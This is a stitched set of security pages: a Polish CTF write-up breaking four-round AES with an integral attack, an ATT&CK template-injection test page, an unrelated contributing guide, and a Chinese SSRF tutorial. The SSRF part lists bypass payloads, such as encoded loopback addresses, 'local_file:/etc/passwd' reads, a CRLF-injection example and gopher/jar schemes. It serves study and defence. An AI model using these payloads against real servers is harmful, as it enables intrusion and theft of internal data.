__int128 v11; // [sp+30h] [bp-80h]@1
__int128 v12; // [sp+40h] [bp-70h]@1
__int128 v13; // [sp+50h] [bp-60h]@1
__int128 v14; // [sp+60h] [bp-50h]@2
__int128 v15; // [sp+70h] [bp-40h]@2
__int128 v16; // [sp+80h] [bp-30h]@4
__int128 v17; // [sp+90h] [bp-20h]@4
__int128 v18; // [sp+A0h] [bp-10h]@4
v2 = _mm_load_si128((const __m128i *)a2);
_mm_store_si128((__m128i *)&v12, _mm_loadu_si128(a1));
_mm_store_si128((__m128i *)&v13, v2);
_mm_store_si128(
(__m128i *)&v11,
_mm_xor_si128(_mm_load_si128((const __m128i *)&v13), _mm_load_si128((const __m128i *)&v12)));
for ( i = 1LL; (unsigned __int64)i <= 3; ++i )
{
v3 = _mm_load_si128((const __m128i *)(16 * i + a2));
_mm_store_si128((__m128i *)&v14, _mm_load_si128((const __m128i *)&v11));
_mm_store_si128((__m128i *)&v15, v3);
_XMM0 = _mm_load_si128((const __m128i *)&v14);
__asm { aesenc xmm0, [rbp+var_40] }
_mm_store_si128((__m128i *)&v11, _XMM0);
}
v6 = _mm_load_si128((const __m128i *)(a2 + 64));
_mm_store_si128((__m128i *)&v16, _mm_load_si128((const __m128i *)&v11));
_mm_store_si128((__m128i *)&v17, v6);
_XMM0 = _mm_load_si128((const __m128i *)&v16);
__asm { aesenclast xmm0, [rbp+var_20] }
_mm_store_si128((__m128i *)&v11, _XMM0);
_mm_store_si128((__m128i *)&v18, _mm_load_si128((const __m128i *)&v11));
result = a1;
_mm_storeu_si128((__m128i *)a1, _mm_load_si128((const __m128i *)&v18));
return result;
}
```
Zaczęliśmy od doprowadzania go do sensownej postaci
(ręcznie refaktoryzując zdekompilowany kod):
```cpp
__int64 realMain()
{
char keyProbably;
char ciphertextFor0[16];
char ciphertextFor1[16];
__int64 v14 = 0LL;
__int64 v16 = 0LL;
sub_400ABE(&v14); // put encrypted flag into buffer
__int64 v10 = 0LL;
sub_400A74(&v10);
generateKey((const __m128i *)&v10, (__int64)&keyProbably);
__int64 v6 = 0LL;
__int64 initTime = time(0LL);
for (__int64 i = 0LL; i <= 0x3FF; i++)
{
memsetAndEncrypt((__int64)&keyProbably, &ciphertextFor0, &ciphertextFor1, i, initTime);
unsigned int v5 = rand() & 1;
char *v1;
if (v5) {
v1 = &ciphertextFor0;
} else {
v1 = &ciphertextFor1;
}
hexdump((__int64)v1, 0x10);
puts("0 or 1?");
user_bit = getchar() - 48;
puts("ciphertext for 0 is: ");
hexdump(&ciphertextFor0, 0x10);
puts("ciphertext for 1 is: ");
hexdump(&ciphertextFor1, 0x10);
if ( user_bit == v5 )
{
puts("Correct!");
++v6;
}
else
{
puts("Incorrect!");
}
}
if ( v6 == 1024 )
{
puts("Now I will give you the flag:");
realEncrypt((const __m128i *)&v14, (__int64)&keyProbably); // decrypt flag
realEncrypt((const __m128i *)&v16, (__int64)&keyProbably);
hexdump((__int64)&v14, 0x20uLL);
}
return 0;
}
void memsetAndEncrypt(__int64 keyProbably, char ciphertext0[16], char ciphertext1[16], __int64 iter, __int64 initTime)
{
memset(ciphertext0, 0, 0x10uLL);
memset(ciphertext1, 1, 0x10uLL);
memcpy((char *)ciphertext0 + 8, &iter, 4uLL);
memcpy((char *)ciphertext1 + 8, &iter, 4uLL);
memcpy((char *)ciphertext0 + 12, &initTime, 4uLL);
memcpy((char *)ciphertext1 + 12, &initTime, 4uLL);
realEncrypt((const __m128i *)ciphertext0, keyProbably);
realEncrypt((const __m128i *)ciphertext1, keyProbably);
}
void realEncrypt(__m128i *a1, __m128i *key)
{
__int128 state;
*state = a1 ^ key[0];
for (int i = 1LL; i <= 3; ++i) {
*state = aesenc(state, key[i];
}
*a1 = aesenclast(state, key[4]);
}
```
W porównaniu do poprzedniego - 100 razy czytelniejsze (np. wklejona poprzednio funkcja przed refaktoryzacją to "realEncrypt" - skróciła się do 4 linijek!
Jak widać - cały ten program to po prostu AES szyfrujący jakieś dane. RealEncrypt to dokładnie implementacja "prawdziwego" AESa, ale zamiast pełnej liczby rund są tylko 4 (co pozwoli, swoją drogą, na nasz atak).
Konkretnie, w pseudokodzie działanie programu można przedstawić tak:
```cpp
uint32_t initTime = time()
for (uint32_t i = 0; i < 1024; i++) {
// 16 byte array: [ 8 ones ] [ i (4 bytes) ] [ initTime (4 bytes) ]
uint8_t ones[16];
memset(ones, 0, 16);
memcpy(ones + 8, &i, 4);
memcpy(ones + 12, &initTime, 4);
// 16 byte array: [ 8 zeroes ] [ i (4 bytes) ] [ initTime (4 bytes) ]
uint8_t zeroes[16];
memset(zeroes, 0, 16);
memcpy(zeroes + 8, &i, 4);
memcpy(zeroes + 12, &initTime, 4);
bool bit = rand() % 2;
if (bit == 0) {
print(encrypt(zeroes));
} else {
print(encrypt(zeroes));
}
print("guess?");
bool guess = read();
if (guess == bit) {
goodGuesses++;
}
print(encrypt(zeroes));
print(encrypt(ones));
}
if (goodGuesses == 1024) {
print("you won");
print encrypt(encryptedFlag); // will actually decrypt flag for us
}
```
Gdzie encrypt jest naszym zmodyfikowanym, cztero-rundowym AESem.
Jak się zabrać za taki atak? Otóż, możemy wykorzystać technikę ataku kryptograficznego znana jako `square attack` albo `integral cryptanalysis`.
Żeby zrozumieć w jaki sposób ten atak będzie działać, trzeba najpierw wiedzieć (chociaż mniej-więcej) jak działa AES.
Otóż, AES działa na blokach rozmiaru 128 bitów traktowanych jako tablica 4x4 bajty, i robi na nich pewne operacje.
Te operacje to:
SubBytes - każdy bajt w macierzy jest zamieniany na inny wybrany bajt, korzystając z tablicy asocjacyjnej (tzw. substitution box). Czyli z macierzy:
in_matrix:
1 2 3 4
6 7 8 5
11 12 9 10
16 13 14 15
robi się:
out_matrix:
S[1] S[2] S[3] S[4]
S[6] S[7] S[8] S[5]
S[11] S[12] S[9] S[10]
S[16] S[13] S[14] S[15]
ShiftRows - macierz jest przesuwana w wierszach o `numer_wierszu` pozycji w lewo. Czyli z macierzy:
in_matrix:
1 2 3 4
5 6 7 8
9 10 11 12
13 14 15 16
robi się
out_matrix:
1 2 3 4
6 7 8 5
11 12 9 10
16 13 14 15
MixColumns - wartości macierzy w kolumnach są mieszane (konkretnie, mnożone przez pewien wielomian w skończonym polu).
Ważne jest to, że ostateczne wartości w polu zależą tylko od innych pól w tej kolumnie:
in_matrix:
A E I M
B F J N
C G K O
D H L P
nA, nB, nC, nD = mix(A, B, C, D)
nE, nF, nG, nH = mix(E, F, G, H)
nI, nJ, nK, nL = mix(I, J, K, L)
nM, nN, nO, nP = mix(M, N, O, P)
out_matrix:
nA nE nI nM
nB nF nJ nN
nC nG nK nO
nD nH nL nP
AddRoundKey - każda wartość w macierzy jest xorowana z wartością z klucza rundy (round key)
in_matrix:
A E I M
B F J N
C G K O
D H L P
round_key:
R0 R1 R2 R3
R4 R5 R6 R7
R8 R9 RA RB
RC RD RE RF
out_matrix:
A^R0 E^R1 I^R2 M^R3
B^R4 F^R5 J^R6 N^R7
C^R8 G^R9 K^RA O^RB
D^RC H^RD L^RE P^RF
Po co ten cały wstęp? Bo teraz przejdźmy do ataku właściwego.
Załóżmy, że możemy uzyskać ciphertexty dla 256 wybranych plaintextów - w taki sposób tak, że wszystkie bajty są stałe, poza jednym, który przyjmuje po kolei wszystkie możliwe wartości.
00 00 00 00 00 ... 00
01 00 00 00 00 ... 00
02 00 00 00 00 ... 00
03 00 00 00 00 ... 00
04 00 00 00 00 ... 00
..
FE 00 00 00 00 ... 00
FF 00 00 00 00 ... 00
Wtedy przy szyfrowaniu stan AES przyjmie takie wartości:
X C C C
C C C C
C C C C
C C C C
Gdzie C oznacza bajty które są stałe na danej pozycji dla każdego plaintextu, a X oznacza że bajt przyjmuje wszystkie możliwe wartości (od 0 do 255).
Co to dokładnie znaczy, będzie widoczne zaraz:
Początkowa wartość:
X C C C
C C C C
C C C C
C C C C
Po SubBytes:
X C C C
C C C C
C C C C
C C C C
No tak, wszystkie 'C' zostaną zamienione na tą samą wartość (więc dalej będą stałe). Co dalej?
Po ShiftRows:
X C C C
C C C C
C C C C
C C C C
Nic nie zostało przesunięte.
Po MixColumns:
X C C C
X C C C
X C C C
X C C C
Tutaj już wartości C nie będą de facto takie same, ale będą takie same dla każdego z 256 testowanych plaintextów na odpowiadających pozycjach - a to sie liczy.
Tak samo, bajty oznaczone jako X będą znowu przyjmowały wszystkie możliwe wartości (czyli np. pierwszy bajt w drugim wierszu przyjmie wartość 1 dokładnie dla
1 szyfrowanego plaintextu, wartość 2 dokładnie dla 1 szyfrowanego plaintextu, itd)
Po AddKey:
X C C C
X C C C
X C C C
X C C C
Następnie druga runda:
Po SubBytes:
X C C C
X C C C
X C C C
X C C C
Po ShiftRows:
X C C C
C C C X
C C X C
C X C C
Po MixColumns:
X X X X
X X X X
X X X X
X X X X
Po AddKey:
X X X X
X X X X
X X X X
X X X X
Uwaga, co się teraz stało? Wszystkie elementy klucza przyjmują wszystkie możliwe wartości!
Co to oznacza? Otóż uwaga - jeśli ustalimy dowolną pozycję stanu (np. 2 wiersz i 2 kolumna) i zrobimy:
(State_xx oznacza stan dla szyfrowania plaintextu mającego bajt xx na zmiennej pozycji na początku)
state_01[2][2] ^ state_02[2][2] ^ state03_[2][2] ^ ... ^ stateFF[2][2]
To wynik zawsze wyjdzie równy zero! Bo skoro wiemy na pewno, że każdy bajt przyjmuje wszystkie możliwe wartości, to xorujemy (w różnej kolejności) liczby:
0 ^ 1 ^ 2 ^ 3 ... ^ 0xFE ^ 0xFF
Ok, i co z tego wynika? Nasz AES ma 4 rundy, a nie 3.
Ale możemy *zgadnąć* jeden bajt klucza, żeby *odszyfrować* jeden bajt zaszyfrowanych danych po czwartej rundzie! Z wyprowadzonej przed chwilą zależności
wynika, że jeśli zgadniemy ten bajt dobrze, i odszyfrujemy nim wszystkie wybrane plaintexty, to po xorowaniu wszystkich wynikiem będzie zero.
Następnie możemy powtórzyć to 16 razy - dla wszystkich bajtów klucza. Średnio wyjdą dwie dobre wartości (jedna z nich poprawna) dla każdego bajta klucza - to daje nam złożoność ataku 2^16 - o niebo lepiej niż 2^128.
Czy ten atak możemy zastosować w tym zadaniu? Jak najbardziej - jeśli weźmiemy pierwsze 256 plaintextów, zauważymy że wszystkie różnią się tylko na jednym bajcie (tym zależnym od 'i').
Zaimplementujmy go więc w pythonie (implementacja AES pominięta, będzie w pełnym kodzie dostarczonym do zadania)
```python
def integrate(index):
potential = []
for candidateByte in range(256):
sum = 0
for ciph in ciphertexts:
oneRoundDecr = backup(ciph, candidateByte, index) # decrypt one round of one byte
sum ^= oneRoundDecr # xor result with sum
if sum == 0: # if sum is equal to 0 - candidateByte stays a candidate
potential.append(candidateByte)
return potential
from itertools import product
def integral():
candidates = []
for i in range(16):
candidates.append(integrate(i)) # compute all possible candidate bytes for all positions
print 'candidates', candidates
for roundKey in product(*candidates): # check all possibilities
masterKey = round2master(roundKey)
plain = ''.join(chr(c) for c in decrypt4rounds(ciphertexts[1], masterKey))
if '\0\0\0\0' in plain: # we know that plaintext contains 4 '0' bytes, and it's unlike to be accident
print 'solved', masterKey
```
Po uruchomieniu kodu dla dostarczonych danych dostajemy taki oto wynik:
candidates [[95, 246], [246], [1, 99], [78, 187], [123], [106], [98, 223], [96], [211], [44, 63, 102], [192, 234], [167], [9, 135, 234], [36], [146, 166], [107]]
solved [23, 74, 34, 20, 64, 53, 100, 117, 220, 227, 160, 55, 163, 23, 237, 75]
Świetnie, teraz wystarczy zdeszyfrować flagę (zaszyfrowana flaga jest na samym końcu podanego outputu):
0CTF{~R0MAN_l0VES_B10CK_C1PHER~}
Pełen kod ataku zamieszczony w pliku [integral.py](integral.py).
Szkielet kodu i opis ataku na którym się opieraliśmy pochodzi w większości z prezentacji http://opensecuritytraining.info/Cryptanalysis.html (licencja CC-by-sa 3.0)
Z tego powodu całość kodu publikujemy na licencji CC 3.0 BY SA, natomiast cały tekst oraz nasze fragmenty kodu używają tej samej licencji co reszta repozytorium.
|
sec-knowleage
|
# T1221-win-模板注入
## 来自ATT&CK的描述
攻击者可能会在Office文档模板中创建或修改引用，以隐藏恶意代码或强制进行身份验证尝试。Microsoft的Office Open XML(OOXML)规范为Office文档（.docx、xlsx、.pptx）定义了一种基于XML的格式，以替换旧的二进制格式（.doc、.xls、.ppt）。OOXML文件打包在一起ZIP档案，其中包含各种XML文件（称为部分），包含共同定义文档呈现方式的属性。
部件中的属性可以引用通过在线URL访问的共享公共资源。例如，模板属性引用一个文件，作为预先格式化的文档蓝图，在加载文档时获取该文件。
攻击者可能会滥用这一技术，通过文档执行隐藏最初的恶意代码。注入文档的模板参考可能使恶意的有效载荷在文档被加载时被获取和执行。这些文件可以通过其他技术传递，如钓鱼或污点共享内容，并可能逃避静态检测，因为没有典型的指标（VBA宏，脚本等）存在，直到恶意的有效载荷被获取。 在野外看到的例子中，模板注入被用来加载含有漏洞的恶意代码。
这种技术也可以通过注入一个SMB/HTTPS（或其他凭证提示）URL并触发认证尝试来实现强制认证。
## 测试案例
### 测试1 WIN WORD远程模板注入
打开一个.docx文件，从https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm加载一个远程.dotm宏功能模板，执行.dotm模板内指定的代码。需要下载在微软Ofiice中发现的WINWORD，网址是：https://www.microsoft.com/en-us/download/office.aspx。当测试成功执行时，默认的docs文件打开Calculator.exe，同时关闭AV。
攻击命令，使用Windows命令提示符执行：
```
start #{docx_file}
```
## 检测日志
无
## 测试复现
暂无，测试环境，未安装office套装
## 测试留痕
无
## 检测规则/思路
### 建议
分析进程行为，以确定Office应用程序是否正在执行一些恶意行为，如打开网络连接、读取文件、生成可疑的子进程（例如：PowerShell），或其他可能与入侵后行为有关的可疑行动。
关于由Office应用程序产生的可疑进程行为检测规则，你可以参考：T1566-001-win-可疑的MS Office子进程
## 参考推荐
MITRE-ATT&CK-T1221
<https://attack.mitre.org/techniques/T1221>
Atomic-red-team-T1221
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1221/T1221.md>
|
sec-knowleage
|
# Contributing
> _A real community, however, exists only when its members interact in a meaningful way that deepens their understanding of each other and leads to learning._
If you would like to support this project, have an interesting idea how to improve the operation of this tool, or if you found some errors - fork this, add your fixes, and add a pull request of your branch to the **master branch**.
## Using the issue tracker
The [issue tracker](https://github.com/trimstray/test-your-sysadmin-skills/issues) is
the preferred channel for bug reports, features requests and submitting pull requests, but please respect the following restrictions:
* Please **do not** use the issue tracker for personal support requests (use
[Stack Overflow](https://stackoverflow.com) or IRC)
* Please **do not** derail or troll issues. Keep the discussion on topic and
respect the opinions of others
## Signature of commit
Moving forward all commits to this project must include a "signed-off-by" line indicating the name and email address of the contributor signing off on the change. To enable signatures add the following lines to `.git/hooks/prepare-commit-msg` :
```
SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/- signed-off-by: \1/p')
grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
```
## Project improvements
Remember about this rules:
#### Remove marker from question without answer
Example:
<p align="left">
<img src="https://github.com/trimstray/test-your-sysadmin-skills/blob/master/doc/img/question_marker_01.png"
alt="Master">
</p>
#### Update sub-chapter questions counter
Example:
<p align="left">
<img src="https://github.com/trimstray/test-your-sysadmin-skills/blob/master/doc/img/sub-chapter_questions_counter_01.png"
alt="Master">
</p>
#### Update TOC counters
Example:
<p align="left">
<img src="https://github.com/trimstray/test-your-sysadmin-skills/blob/master/doc/img/toc_questions_counter_01.png"
alt="Master">
</p>
#### Update questions counter (for all Q/A)
Example:
<p align="left">
<img src="https://github.com/trimstray/test-your-sysadmin-skills/blob/master/doc/img/questions_counter_01.png"
alt="Master">
</p>
## Pull requests
When creating a pull request, please heed the following:
- Base your code on the latest master branch to avoid manual merges
- Code review may ensue in order to help shape your proposal
- Explain the problem and your proposed solution
|
sec-knowleage
|
# SSRF
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**描述**
很多 web 应用都提供了从其他的服务器上获取数据的功能.使用用户指定的 URL,web 应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的 web 应用作为代理攻击远程和本地的服务器.这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery).
一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。
**相关文章**
- [浅析 SSRF 原理及利用方式](https://www.anquanke.com/post/id/145519)
- [Bypassing SSRF Protection](https://medium.com/@vickieli/bypassing-ssrf-protection-e111ae70727b)
- [Web漏洞挖掘指南 -SSRF服务器端请求伪造](https://mp.weixin.qq.com/s/JptsaTEB-OCWoic68uKTvw)
- [巧用对象存储回源绕过SSRF限制](https://mp.weixin.qq.com/s/BB34N50q2aWrVgu5LDcj6g)
- [SSRF漏洞Bypass技巧](https://zhuanlan.zhihu.com/p/73736127)
- [SSRF安全指北](https://cloud.tencent.com/developer/article/1780081)
- [浅谈云上攻防--SSRF漏洞带来的新威胁](https://cloud.tencent.com/developer/article/1885981)
- [实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧](https://mp.weixin.qq.com/s/v6ZcP55hFwd3QB4TNnpfRg)
- [我在CTFHub学习SSRF](https://www.freebuf.com/articles/web/258365.html)
- [SSRF 攻击内网服务](http://diego.team/2020/05/27/ssrf-%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E6%9C%8D%E5%8A%A1/)
- [SSRF检测的一些思考](https://xz.aliyun.com/t/11050)
- [SSRF Tricks小结](https://www.mi1k7ea.com/2020/02/29/SSRF-Tricks%E5%B0%8F%E7%BB%93/)
- [IPv6 三个访问本地地址的小Tips](https://tttang.com/archive/1293/)
- [WEB非实用之SSRF的挖掘与利用](https://www.yuque.com/pmiaowu/bomi9w/mbs0gw)
**相关案例**
- [My First SSRF Using DNS Rebinding](https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/)
- [SSRF in Exchange leads to ROOT access in all instances](https://hackerone.com/reports/341876) - 通过对 ssrf 访问 Google Cloud Metadata,直至 RCE
- [SSRF (Server Side Request Forgery) worth $4,913](https://medium.com/techfenix/ssrf-server-side-request-forgery-worth-4913-my-highest-bounty-ever-7d733bb368cb)
- [Just Gopher It: Escalating a Blind SSRF to RCE for $15k](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
- [SSRF exploitation in Spreedsheet to PDF converter](https://r4id3n.medium.com/ssrf-exploitation-in-spreedsheet-to-pdf-converter-2c7eacdac781) - excel 中的 ssrf+xxe 读文件
- [The unexpected Google wide domain check bypass](https://bugs.xdavidhu.me/google/2020/03/08/the-unexpected-google-wide-domain-check-bypass/)
- [Fixing the Unfixable: Story of a Google Cloud SSRF](https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/) - google cloud ssrf + bypass
- https://github.com/httpvoid/writeups/blob/main/Hacking-Google-Drive-Integrations.md
- [BountyHunterInChina/重生之我是赏金猎人(六)-强行多次FUZZ发现某厂商SSRF到redis密码喷洒批量反弹Shell.pdf](https://github.com/J0o1ey/BountyHunterInChina/blob/main/%E9%87%8D%E7%94%9F%E4%B9%8B%E6%88%91%E6%98%AF%E8%B5%8F%E9%87%91%E7%8C%8E%E4%BA%BA(%E5%85%AD)-%E5%BC%BA%E8%A1%8C%E5%A4%9A%E6%AC%A1FUZZ%E5%8F%91%E7%8E%B0%E6%9F%90%E5%8E%82%E5%95%86SSRF%E5%88%B0redis%E5%AF%86%E7%A0%81%E5%96%B7%E6%B4%92%E6%89%B9%E9%87%8F%E5%8F%8D%E5%BC%B9Shell.pdf)
- [Security issues with cloudflare/odoh-server-go and the ODoH RFC draft #30](https://github.com/cloudflare/odoh-server-go/issues/30)
- [Vimeo upload function SSRF](https://dphoeniixx.medium.com/vimeo-upload-function-ssrf-7466d8630437)
- [[Google VRP] SSRF in Google Cloud Platform StackDriver](https://ngailong.wordpress.com/2019/12/19/google-vrp-ssrf-in-google-cloud-platform-stackdriver/)
- [Critical SSRF on Evernote](https://blog.neolex.dev/13/)
- [How to hack a company by circumventing its WAF through the abuse of a different security appliance and win bug bounties](https://www.redtimmy.com/how-to-hack-a-company-by-circumventing-its-waf-through-the-abuse-of-a-different-security-appliance-and-win-bug-bounties/)
- [挖到这个高危SSRF漏洞，小伙伴们都惊呆了！](https://www.freebuf.com/vuls/265163.html)
**相关工具**
- [In3tinct/See-SURF](https://github.com/In3tinct/See-SURF) - python 写的 ssrf 参数扫描工具
- [swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) - 自动化 Fuzz SSRF 开发工具
- [ksharinarayanan/SSRFire](https://github.com/ksharinarayanan/SSRFire) - An automated SSRF finder. Just give the domain name and your server and chill! ;) Also has options to find XSS and open redirects
- [vp777/surferFTP](https://github.com/vp777/surferFTP) - SSRF to TCP Port Scanning, Banner and Private IP Disclosure by abusing the FTP protocol/clients
- [ethicalhackingplayground/ssrf-king](https://github.com/ethicalhackingplayground/ssrf-king) - SSRF plugin for burp Automates SSRF Detection in all of the Request
**相关靶场**
- [incredibleindishell/SSRF_Vulnerable_Lab](https://github.com/incredibleindishell/SSRF_Vulnerable_Lab) - This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack
**payload**
- [bugbounty-cheatsheet/cheatsheets/ssrf.md](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md)
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
**相关资源**
- [cujanovic/SSRF-Testing](https://github.com/cujanovic/SSRF-Testing) - SSRF (Server Side Request Forgery) testing resources
- [assetnote/blind-ssrf-chains](https://github.com/assetnote/blind-ssrf-chains) - An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#
**writeup**
- [buuctf 刷题记录 [第二章 web进阶]SSRF Training](https://www.cnblogs.com/murkuo/p/14905886.html)
- [看雪CTF web（SSRF+XML+JAR协议）](https://blog.csdn.net/a3320315/article/details/110456361)
---
## ssrf 有哪些危害
- 内部端口扫描
- 攻击内网服务 (例如: redis,memcache,或存在 log4j rce 的服务)
- 攻击 Kubelet API : 在云环境中，可通过 Kubelet API 查询集群 pod 和 node 的信息，也可通过其执行命令。为了安全考虑，此服务一般不对外开放。但是，攻击者可以通过 SSRF 去访问 Kubelet API，获取信息和执行命令。
- 攻击 Docker Remote API：Docker Remote API 是一个取代远程命令行界面（rcli）的 REST API，默认开放端口为 2375。此 API 如果存在未授权访问，则攻击者可以利用其执行 docker 命令，获取敏感信息，并获取服务器 root 权限。因此为了安全考虑，一般不会在外网开放，此时我们就可以通过 SSRF 去尝试攻击那些不对外开放的 Docker Remote API。其过程与攻击 Kubelet API 类似。
- 越权攻击云平台内其他组件或服务：由于云上各组件相互信任，当云平台内某个组件或服务存在 SSRF 漏洞时，就可通过此漏洞越权攻击其他组件或者服务。例如用户正常请求服务 A 时，云 API 层会对请求进行校验，其中包括身份、权限等。如果服务 A 存在 SSRF 漏洞，则可构造请求使服务 A 访问服务 B，因为服务 A 与服务 B 互相信任，所以服务 B 未校验服务 A 的请求，从而越权操作服务 B 的资源。
- 绕过 cdn 获取真实ip
- https://webhook.site/
- 利用 ssrf 进行访问,产生 dos 的效果
- Cloud Metadata
- 在云环境中，元数据即表示实例的相关数据，可以用来配置或管理正在运行中的实例。攻击通过 SSRF 去访问元数据中存储的临时密钥或者用于自启动实例的启动脚本，这些脚本可能会包含 AK、密码、源码等等，然后根据从元数据服务获取的信息，攻击者可尝试获取到受害者账户下 COS、CVM、集群等服务的权限。
- [metadata 泄露](../../云安全/公有云安全.md#metadata-泄露)
---
## java 中的 ssrf
- [java ssrf](../../语言安全/JAVA安全/JAVA代码审计.md#ssrf)
---
## php 中的 ssrf
- [php ssrf](../../语言安全/PHP安全/PHP代码审计.md#ssrf)
---
## python 中的 ssrf
在 Python 中，常用的函数有 urllib(urllib2) 和 requests 库。
**CVE-2019-9740 & CVE-2019-9947**
以 urllib(urllib2) 为例， urllib 并不支持 gopher,dict 协议，但 urllib 曾爆出 CVE-2019-9740、CVE-2019-9947 两个漏洞，这两个漏洞都是 urllib(urllib2) 的 CRLF 漏洞，触发点不同，其影响范围都在 urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3 之间.
**漏洞示例**
```py
import sys
import urllib2
host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection:
test\r\nTEST: 123"
url = "http://"+ host + ":8080/test/?test=a"
try:
info = urllib2.urlopen(url).info()
print(info)
except Exception as e:
print(e)
```
通过 CLRF漏洞，实现换行对redis的攻击
**CVE-2019-9948**
该漏洞只影响 urllib，范围在 Python 2.x 到 2.7.16，这个版本间的 urllib 支持 local_file/local-file 协议，可以读取任意文件
```
/ssrf?url=local_file:/etc/passwd
/ssrf?url=local-file:/etc/passwd
```
**解析差异**
已目标为例 http://baidu.com\@qq.com
- urllib3 取到的 host 是 baidu.com
- urllib 取到的 host 是 qq.com
---
## 绕过技巧
### 使用 @ 符号
当我们需要通过 URL 发送用户名和密码时，可以使用 http://username:password@www.xxx.com，此时 @前的字符会被当作用户名密码处理，@后面的字符才是我们请求的地址，即 `http://test.com@127.0.0.1/` 与 `http://127.0.0.1/` 请求时是相同的，而这种方法有时可以绕过系统对地址的检测。
### 不同的 IP 格式
**不同进制**
开发人员在提取或者过滤域名或者 IP 时，未考虑到 IP 的进制转换的影响，则存在被利用进制转换绕过的可能。浏览器不仅可以识别正常的 IP 地址，也可以识别八进制、十进制、十六进制等其他进制的 IP 地址，但是有时候开发人员会忽视这一点，因此有时，我们可以通过这一点去绕过防护。
> http://www.subnetmask.info/
```bash
# 8进制 (127.0.0.1)
0177.0.0.1
# 10进制 (127.0.0.1)
2130706433
# 16进制 (127.0.0.1)
0x7F.0x00.0x00.0x01
# 注意：16进制使用时一定要加0x，不然浏览器无法识别，八进制使用的时候要加0
```
**利用别名绕过**
```
http://localhost/
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```
**不规范格式**
```
http://0.0.0.0
http://127.000.000.1
http://127.1
http://127。0。0。1
http://①②⑦。0。0。①
```
**IPv6**
```
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/
ip6-localhost
0--1.ipv6-literal.net (windows)
```
### Enclosed alphanumerics
封闭式字母数字（Enclosed Alphanumerics）字符是一个Unicode块，其中包含圆形，支架或其他非封闭外壳内的字母数字印刷符号，或以句号结尾。封闭的字母数字块包含一个表情符号，封闭的M用作掩码工作的符号。它默认为文本显示，并且定义了两个标准化变体，用于指定表情符号样式或文本表示。这些字符也是可以被浏览器识别的，而开发人员有时会忽略这一点。
```
①②⑦。0。0。① --> 127.0.0.1
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ --> example.com
```
```
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### 不同的协议头
```
gopher://
dict://
php://
jar://
tftp://
zip://
```
#### jar
jar:// 协议能从远程获取 jar 文件及解压得到其中的内容，其格式如下：
```
jar:<url>!/{entry}
```
实例如下，`!` 符号后面就是其需要从中解压出的文件：
```
jar:http://a.com/b.jar!/file/within/the/zip
```
jar:// 协议分类：
```
Jar file（Jar包本身）：jar:http://www.foo.com/bar/baz.jar!/
Jar entry（Jar包中某个资源文件）：jar:http://www.foo.com/bar/baz.jar!/COM/foo/a.class
Jar directory（Jar包中某个目录）：jar:http://www.foo.com/bar/baz.jar!/COM/foo/
```
也使用 jar 协议进行 Blind SSRF
**利用**
```
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
```
---
#### dict
**描述**
